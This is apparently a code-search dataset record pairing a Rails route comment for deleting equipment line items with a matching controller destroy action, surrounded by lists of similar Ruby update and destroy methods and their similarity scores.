"def update\n respond_to do |format|\n if @equipment_field.update(equipment_field_params)\n format.html { redirect_to @equipment_field, notice: 'Equipment field was successfully updated.' }\n format.json { render :show, status: :ok, location: @equipment_field }\n else\n format.html { render :edit }\n format.json { render json: @equipment_field.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @line_item_id = args[:line_item_id] if args.key?(:line_item_id)\n @product_id = args[:product_id] if args.key?(:product_id)\n @shipment_unit_ids = args[:shipment_unit_ids] if args.key?(:shipment_unit_ids)\n @unit_invoice = args[:unit_invoice] if args.key?(:unit_invoice)\n end",
"def update\n product = Product.where(id: order_line_params[:product_id]).first\n merged = order_line_params.merge({:unit_price => product.price, :total_price => product.price * order_line_params[:qty].to_i})\n respond_to do |format|\n if @order_line.update(merged)\n format.html { redirect_to @order_line, notice: 'Order line was successfully updated.' }\n format.json { render :show, status: :ok, location: @order_line }\n else\n format.html { render :edit }\n format.json { render json: @order_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @clothing_line.update(clothing_line_params)\n format.html { redirect_to @clothing_line, notice: 'Clothing line was successfully updated.' }\n format.json { render :show, status: :ok, location: @clothing_line }\n else\n format.html { render :edit }\n format.json { render json: @clothing_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @item.update_attributes(item_params)\n render json: @item, status: :ok\n else\n render_error(@item, :unprocessable_entity)\n end\n end",
"def update\n\n if @api_v1_item.update(api_v1_item_params)\n render json: @api_v1_item\n else\n render json: @api_v1_item.errors\n end\n end",
"def line_item_params\n params.require(:line_item).permit(:product_id, :accessory_id)\n end",
"def update\n json_response(@food_item.update!(food_item_params))\n end",
"def update\n render json: Item.update(params[\"id\"], params[\"item\"])\n end",
"def update\n @line = Line.find_by_no(params[:id])\n\n respond_to do |format|\n if @line.update_attributes(params[:line])\n format.html { redirect_to @line, notice: 'Line was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @lunch_item.update(lunch_item_params)\n format.html { redirect_to @lunch_item, notice: 'Lunch item was successfully updated.' }\n format.json { render :show, status: :ok, location: @lunch_item }\n else\n format.html { render :edit }\n format.json { render json: @lunch_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @person_equipment.update(person_equipment_params)\n format.html { redirect_to @person_equipment, notice: 'Person Equipment was successfully updated.' }\n format.json { redirect_to @person_equipment, status: 303 }\n else\n format.html { render :edit }\n format.json { render json: @person_equipment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @equipment_detail.update(equipment_detail_params)\n format.html { redirect_to equipment_details_url, notice: 'Equipo Modificado' }\n format.json { render :show, status: :ok, location: @equipment_detail }\n else\n format.html { render :edit }\n format.json { render json: @equipment_detail.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @line_pet.update(line_pet_params)\n format.html { redirect_to @line_pet, notice: 'Line pet was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @line_pet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { respond_with_bip(@item) }\n else\n format.html { render action: 'edit' }\n format.json { respond_with_bip(@item) }\n end\n end\n end",
"def line_item_params\n params.permit(line_item: [:item_id, :quantity])\n end",
"def update\n @product_line = ProductLine.find(params[:id])\n\n respond_to do |format|\n if @product_line.update_attributes(params[:product_line])\n format.html { redirect_to(@product_line, :notice => 'ProductLine was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @product_line.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @effort_log_line_item = EffortLogLineItem.find(params[:id])\n\n respond_to do |format|\n if @effort_log_line_item.update_attributes(params[:effort_log_line_item])\n flash[:notice] = 'EffortLogLineItem was successfully updated.'\n format.html { redirect_to(@effort_log_line_item) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @effort_log_line_item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @order_line = OrderLine.find(params[:id])\n\n respond_to do |format|\n if @order_line.update_attributes(params[:order_line])\n format.html { redirect_to @order_line, notice: 'Order line was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @applied_line.update(applied_line_params)\n format.html { redirect_to @applied_line, notice: 'Applied line was successfully updated.' }\n format.json { render :show, status: :ok, location: @applied_line }\n else\n format.html { render :edit }\n format.json { render json: @applied_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def line_item_params\n params.require(:line_item).permit(:quantity, :product_id, :order_id)\n end",
"def update\n @part_types = Constants::PART_TYPES\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: \"Item was successfully updated.\" }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n tags = equipment_params[:tags]\n\n tags_object_collection = []\n\n tags.each do |tag|\n if tag == ''\n next\n end\n\n tag_obj = Tag.find(tag)\n\n if tag_obj != nil\n tags_object_collection.push(tag_obj)\n end\n end\n\n new_equipment_params = equipment_params.except(:tags)\n\n @equipment = Equipment.find(params[:id])\n @equipment.tags = tags_object_collection\n\n respond_to do |format|\n if @equipment.update_attributes(new_equipment_params)\n format.html { redirect_to equipment_index_path, notice: 'Equipment was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @equipment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def line_item_params\n params.require(:line_item).permit(:product_id, :inquirylist_id, :quantity)\n end"
] |
[
"0.72180456",
"0.7070916",
"0.7067693",
"0.7067693",
"0.7067693",
"0.7067693",
"0.7067693",
"0.7054382",
"0.6994966",
"0.6972458",
"0.69691306",
"0.69691306",
"0.69691306",
"0.69354904",
"0.69189715",
"0.68818164",
"0.68818164",
"0.68818164",
"0.68818164",
"0.68818164",
"0.68818164",
"0.68818164",
"0.6869437",
"0.6854179",
"0.6854179",
"0.6840776",
"0.6828932",
"0.67928916",
"0.6782864",
"0.6700622",
"0.6689339",
"0.6680974",
"0.6656059",
"0.6599263",
"0.6592576",
"0.65411514",
"0.65378726",
"0.6532174",
"0.65029347",
"0.64849436",
"0.6458659",
"0.6456763",
"0.6448427",
"0.64260197",
"0.64227754",
"0.6388165",
"0.6388165",
"0.6365345",
"0.63407946",
"0.6329613",
"0.6313614",
"0.63047266",
"0.6300166",
"0.62964445",
"0.6295111",
"0.6290664",
"0.62874323",
"0.62874323",
"0.6277172",
"0.6277172",
"0.62405497",
"0.6234104",
"0.6225983",
"0.62070036",
"0.62036353",
"0.6202538",
"0.6185641",
"0.6184752",
"0.615442",
"0.61105186",
"0.60992354",
"0.60735977",
"0.60461056",
"0.60391015",
"0.60380197",
"0.6009546",
"0.5996544",
"0.59872603",
"0.59705114",
"0.59573317",
"0.5954498",
"0.5947012",
"0.5940728",
"0.5926755",
"0.59252304",
"0.59139264",
"0.5912794",
"0.59096545",
"0.590051",
"0.5898211",
"0.5883502",
"0.5880446",
"0.58797586",
"0.5871514",
"0.5870388",
"0.5860196",
"0.5858983",
"0.5857183",
"0.58540803",
"0.58476776"
] |
0.7564775
|
0
|
DELETE /equipment_line_items/1 DELETE /equipment_line_items/1.json
|
def destroy
@equipment_line_item.destroy
respond_to do |format|
format.html { redirect_to equipment_line_items_url }
format.json { head :no_content }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n @item_line = ItemLine.find(params[:id])\n @item_line.destroy\n\n respond_to do |format|\n format.html { redirect_to item_lines_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item = LineItem.find(params[:id])\n @line_item.destroy\n\n respond_to do |format|\n format.html { redirect_to line_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item = LineItem.find(params[:id])\n @line_item.destroy\n\n respond_to do |format|\n format.html { redirect_to line_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item = LineItem.find(params[:id])\n @line_item.destroy\n\n respond_to do |format|\n format.html { redirect_to line_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item = LineItem.find(params[:id])\n @line_item.destroy\n\n respond_to do |format|\n format.html { redirect_to line_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item = LineItem.find(params[:id])\n @line_item.destroy\n\n respond_to do |format|\n format.html { redirect_to line_items_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @lineitem = Lineitem.find(params[:id])\n @lineitem.destroy\n\n respond_to do |format|\n format.html { redirect_to lineitems_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @line_item1 = LineItem1.find(params[:id])\n @line_item1.destroy\n\n respond_to do |format|\n format.html { redirect_to line_item1s_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @lineitem.destroy\n respond_to do |format|\n format.html { redirect_to lineitems_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item.destroy\n destroy_line_item_response\n end",
"def destroy\n @line_items.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url, notice: 'Line item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n\t\t@line_item.destroy\n\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to line_items_url, notice: \"Req ID: #{@line_item.id} removed.\" }\n\t\t\tformat.json { head :no_content }\n\t\tend\n\tend",
"def destroy\n @line_item = line_items.find(params[:id])\n @line_item.destroy\n\n respond_to do |format|\n format.html { redirect_to line_items_url }\n end\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url, notice: 'Line item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url, notice: 'Line item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url, notice: 'Line item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url, notice: 'Line item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url, notice: 'Line item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url, notice: 'Line item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url, notice: 'Line item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url, notice: \"Line item was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @sub1_line_item.destroy\n respond_to do |format|\n format.html { redirect_to sub1_line_items_url, notice: 'Sub1 line item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @purchase_order_item_line = PurchaseOrderItemLine.find(params[:id])\n @purchase_order_item_line.destroy\n\n respond_to do |format|\n format.html { redirect_to purchase_order_item_lines_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url, notice: \"カートから商品が削除されました\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url, notice: 'Line item was successfully destroyed.' }\n format.json { head :no_content }\n end\nend",
"def destroy\n @invoice_addon_line_item.destroy\n respond_to do |format|\n format.html { redirect_to invoice_addon_line_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\r\n @lineitem = Lineitem.find(params[:id])\r\n @lineitem.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to(lineitems_url) }\r\n format.xml { head :ok }\r\n end\r\n end",
"def destroy\n @line_item = @order.line_items.find(params[:id])\n @line_item.destroy\n\n head :no_content\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to @line_item.cart, notice: t('line_items.destroy.lineDelete') }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item = @client.items.find(params[:id])\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully removed from Inventory.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url, notice: \"Line item was successfully destroyed.\" }\n format.json { head :no_content }\n end\nend",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to cart_path(@current_cart), notice: 'Line item was successfully removed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item = LineItem.find(params[:id])\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to cart_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @liner_item.destroy\n respond_to do |format|\n format.html { redirect_to liner_items_url, notice: 'Liner item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n render json: Item.delete(params[\"id\"])\n end",
"def destroy\n @invoice_line_item.destroy\n respond_to do |format|\n format.html { redirect_to invoice_line_items_url, notice: 'Invoice line item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @popularty_line_item = PopulartyLineItem.find(params[:id])\n @popularty_line_item.destroy\n\n respond_to do |format|\n format.html { redirect_to popularty_line_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item = LineItem.find(params[:id])\n @line_item.destroy\n\n respond_to do |format|\n format.html { redirect_to line_items_url }\n format.js\n format.json { head :no_content }\n end\n end",
"def delete_item(item_id)\n response = Unirest.delete CONNECT_HOST + '/v1/' + LOCATION_ID + '/items/' + item_id,\n headers: REQUEST_HEADERS\n\n if response.code == 200\n puts 'Successfully deleted item'\n return response.body\n else\n puts 'Item deletion failed'\n puts response.body\n return nil\n end\nend",
"def delete_from_entzumena\n headline = Headline.where({:source_item_type => params[:source_item_type], :source_item_id => params[:source_item_id]}).first\n if headline.destroy\n render :json => true, :status => 200\n else\n render :json => false, :status => :error\n end\n end",
"def destroy\n @equipment = Equipment.find(params[:id])\n @equipment.destroy\n\n respond_to do |format|\n format.html { redirect_to equipment_index_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_property_item.destroy\n respond_to do |format|\n format.html { redirect_to line_property_items_url, notice: 'Line property item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.js {}\n format.json { head :no_content }\n end\n end",
"def destroy\n line_item = LineItem.find params[:id]\n line_item.destroy\n\n redirect_to cart_path\n end",
"def destroy\n @estimate_line_item = EstimateLineItem.find(params[:id])\n @estimate_line_item.destroy\n\n respond_to do |format|\n format.html { redirect_to(estimate_line_items_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n li = @cart.line_items.find_by_id!(params[:id])\n li.destroy\n render json: {}, status: :ok\n end",
"def destroy\n @invoice_line_item = InvoiceLineItem.find(params[:id])\n @invoice_line_item.destroy\n\n respond_to do |format|\n format.html { redirect_to invoice_line_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @match_form_lineitem.destroy\n respond_to do |format|\n format.html { redirect_to match_form_lineitems_url, notice: 'Match form lineitem was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n render status: 200, json: @request_item.destroy\n end",
"def destroy\n @lineitem = Lineitem.find(params[:id])\n @lineitem.destroy\n respond_to do |format|\n format.html { redirect_to 'http://localhost:3000/carts/show' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_detail.destroy\n respond_to do |format|\n format.html { redirect_to line_details_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order.line_items.clear\n respond_to do |format| \n format.html { redirect_to(edit_object_url) } \n end\n end",
"def destroy\n # @line_item = LineItem.find(params[:id])\n # @line_item.destroy\n @cart = current_cart\n# item = Item.find(params[:item_id])\n quantity = params[:quantity] || 1\n item_id=params[:item_id]\n @line_item = @cart.delete_item(item_id,quantity.to_i)\n\n respond_to do |format|\n format.html { redirect_to :back, notice: \"L'oggetto è stato rimosso dal carrello!\" }\n format.json { head :ok }\n end\n end",
"def destroy\n record = InvoiceLineItem.find(params[:id])\n record.destroy\n\n respond_to do |format| \n format.json { head :no_content }\n end\n end",
"def destroy\n if params[:line_item_id]\n @cart.line_items.find(params[:line_item_id]).destroy\n else\n @cart.destroy\n end\n end",
"def destroy\n return if new_record?\n \n @api.delete \"/items/#{shortcode_url}.json\"\n end",
"def destroy\n @line_item_product.destroy\n respond_to do |format|\n format.html { redirect_to line_item_products_url, notice: 'Line item product was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item = @current_cart.line_items.where(:id => params[:id]).first\n unless @line_item.nil?\n @line_item.destroy\n end\n end",
"def destroy\n @apiv1_item.destroy\n respond_to do |format|\n format.html { redirect_to apiv1_items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @effort_log_line_item = EffortLogLineItem.find(params[:id])\n @effort_log_line_item.destroy\n\n respond_to do |format|\n format.html { redirect_to(effort_log_line_items_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @specific_equipment.destroy\n respond_to do |format|\n format.html { redirect_to specific_equipments_url, notice: 'Specific equipment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product_line = ProductLine.find(params[:id])\n @product_line.destroy\n\n respond_to do |format|\n format.html { redirect_to product_lines_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @cart = Cart.find(session[:cart_id])\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to cart_path(@cart), notice: 'Line item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item = current_member.seller.line_items.find(params[:id])\n @line_item.destroy\n \n respond_to do |format|\n format.html { redirect_to line_items_url }\n format.xml { render :nothing => true }\n end\n end",
"def destroy\n the_name = @equipment_model.name\n the_group = @equipment_model.equipment_group\n @equipment_model.destroy\n respond_to do |format|\n format.html { redirect_to equipment_group_path(the_group), status: 303, notice: t('.delete_ok', item: the_name) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\r\n @equipment.destroy\r\n respond_to do |format|\r\n format.html { redirect_to lab_lab_space_equipment_index_path, notice: 'Equipment was successfully destroyed.' }\r\n format.json { head :no_content }\r\n end\r\n end",
"def destroy\n @lab_equipment = LabEquipment.find(params[:id])\n @lab_equipment.destroy\n\n respond_to do |format|\n format.html { redirect_to lab_equipments_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @equipment_things_to_check.destroy\n respond_to do |format|\n format.html { redirect_to equipment_things_to_checks_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item = LineItem.find(params[:id])\n product = Product.find_by_id(@line_item.product.id)\n product.update_attributes(:remaining_quantity => (product.remaining_quantity + @line_item.quantity))\n @line_item.destroy\n\n respond_to do |format|\n format.html { redirect_to(orders_path) }\n format.json { head :ok }\n end\n end",
"def destroy\n @line = Line.find_by_no(params[:id])\n @line.destroy\n\n respond_to do |format|\n format.html { redirect_to lines_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @requirement_item.destroy\n respond_to do |format|\n format.html { redirect_to requirement_items_url, notice: 'Requirement item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line = Line.find(params[:id])\n @line.destroy\n\n respond_to do |format|\n format.html { redirect_to new_line_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item.destroy\n @line_items = @cart.line_items\n respond_to do |format|\n format.html { redirect_to @line_item.cart, notice: 'Line item was successfully destroyed.' }\n format.json { head :no_content }\n format.js\n end\n end",
"def destroy\n @equipment.destroy\n respond_to do |format|\n format.html { redirect_to equipment_index_url }\n format.json { head :no_content }\n flash[:error] = @equipment.errors.full_messages.join(' ')\n end\n end",
"def destroy\n @rackitem = Rackitem.find(params[:id])\n @rackitem.destroy\n\n respond_to do |format|\n format.html { redirect_to :back, notice: 'Rackitem removed' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @sample_line = SampleLine.find(params[:id])\n @sample_line.destroy\n\n respond_to do |format|\n format.html { redirect_to sample_lines_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to location_cart_path(@location = params[:location_id], @cart = session[:cart_id]), notice: 'Medicina elimnada de tu carrito' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @equipment.destroy\n respond_to do |format|\n format.html { redirect_to equipment_index_url, notice: 'Equipment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @equipment.destroy\n respond_to do |format|\n format.html { redirect_to equipment_index_url, notice: 'Equipment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @equipment_detail.destroy\n respond_to do |format|\n format.html { redirect_to equipment_details_url, notice: 'Se ha eliminado un Equipo ' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @api_v1_item.destroy\n render json: {message: 'deletado com sucesso'}\n end",
"def delete_item(id)\n record \"/todos/delete_item/#{id}\"\n end",
"def destroy\n @itemstable = Itemstable.find(params[:id])\n @itemstable.destroy\n\n respond_to do |format|\n format.html { redirect_to itemstables_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @command_item = CommandItem.find(params[:id])\n @command_item.destroy\n\n respond_to do |format|\n format.html { redirect_to command_items_url }\n format.json { head :no_content }\n end\n end",
"def delete_menu_item\n @menu_item = MenuItem.find(params[:menu_item_id])\n\n MenuItem.delete_menu_item @menu_item\n\n render :json => {:success => true}.to_json\n end",
"def destroy\n @inventoryitem = Inventoryitem.find(params[:id])\n @inventoryitem.destroy\n\n respond_to do |format|\n format.html { redirect_to inventoryitems_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @resource_item.destroy\n respond_to do |format|\n format.html { redirect_to resource_items_url }\n format.json { head :no_content }\n end\n end",
"def delete_item\n\nend",
"def destroy\n @operation_item.destroy\n respond_to do |format|\n format.html { redirect_to operation_items_url }\n format.json { head :no_content }\n end\n end",
"def delete(items)\n item_ids = items.collect { |item| item.id }\n args = {ids: item_ids.to_json}\n return @client.api_helper.command(args, \"item_delete\")\n end",
"def destroy\n @invent_journal_line = InventJournalLine.find(params[:id])\n @invent_journal_line.destroy\n\n respond_to do |format|\n format.html { redirect_to invent_journal_lines_url }\n format.json { head :no_content }\n end\n end",
"def delete_item(item)\n @get_items.delete(item)\n end",
"def destroy\n item = @item.name\n @item.deleted = true\n @item.deleted_at = Time.now\n @item.save\n\n respond_to do |format|\n format.html { redirect_to items_url, notice: \"#{item} was successfully deleted.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @clothing_line.destroy\n respond_to do |format|\n format.html { redirect_to clothing_lines_url, notice: 'Clothing line was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line.destroy\n respond_to do |format|\n format.html { redirect_to lines_url, notice: \"Line was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n# @item = Item.get(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to({action: :index}, notice: 'Item was successfully deleted.') }\n format.json { head :ok }\n end\n end"
] |
[
"0.74537766",
"0.73998326",
"0.73998326",
"0.73998326",
"0.73998326",
"0.7398179",
"0.73776263",
"0.7330342",
"0.7322835",
"0.7316112",
"0.7316112",
"0.7315366",
"0.7294381",
"0.7266991",
"0.72234195",
"0.7218495",
"0.7183648",
"0.7183648",
"0.7183648",
"0.7183648",
"0.7183648",
"0.7183648",
"0.71739787",
"0.7169739",
"0.706497",
"0.70053166",
"0.6943195",
"0.68874526",
"0.6884532",
"0.68835926",
"0.6882077",
"0.687525",
"0.68721235",
"0.68675053",
"0.6832069",
"0.67995155",
"0.6749439",
"0.6739167",
"0.6737598",
"0.6728655",
"0.6718363",
"0.6705259",
"0.6704836",
"0.67002314",
"0.6695382",
"0.66945124",
"0.6688789",
"0.6682836",
"0.6673408",
"0.66731596",
"0.6643298",
"0.6591973",
"0.65834504",
"0.65331477",
"0.65279466",
"0.6525158",
"0.64934105",
"0.6491937",
"0.64848554",
"0.64783466",
"0.647265",
"0.64576846",
"0.64552456",
"0.64549565",
"0.6447684",
"0.6440419",
"0.6439759",
"0.6434729",
"0.64130884",
"0.6407329",
"0.6402356",
"0.63992494",
"0.63968515",
"0.63793546",
"0.63775426",
"0.6368893",
"0.6367145",
"0.6365702",
"0.6364305",
"0.6360596",
"0.63449013",
"0.6341078",
"0.6341078",
"0.6338865",
"0.633206",
"0.6325449",
"0.6323415",
"0.63162136",
"0.631612",
"0.63155544",
"0.631137",
"0.63045615",
"0.6295921",
"0.62950635",
"0.6293698",
"0.62916726",
"0.6288827",
"0.6284585",
"0.627855",
"0.6268651"
] |
0.7829396
|
0
|
Use callbacks to share common setup or constraints between actions.
|
def set_equipment_line_item
@equipment_line_item = EquipmentLineItem.find(params[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
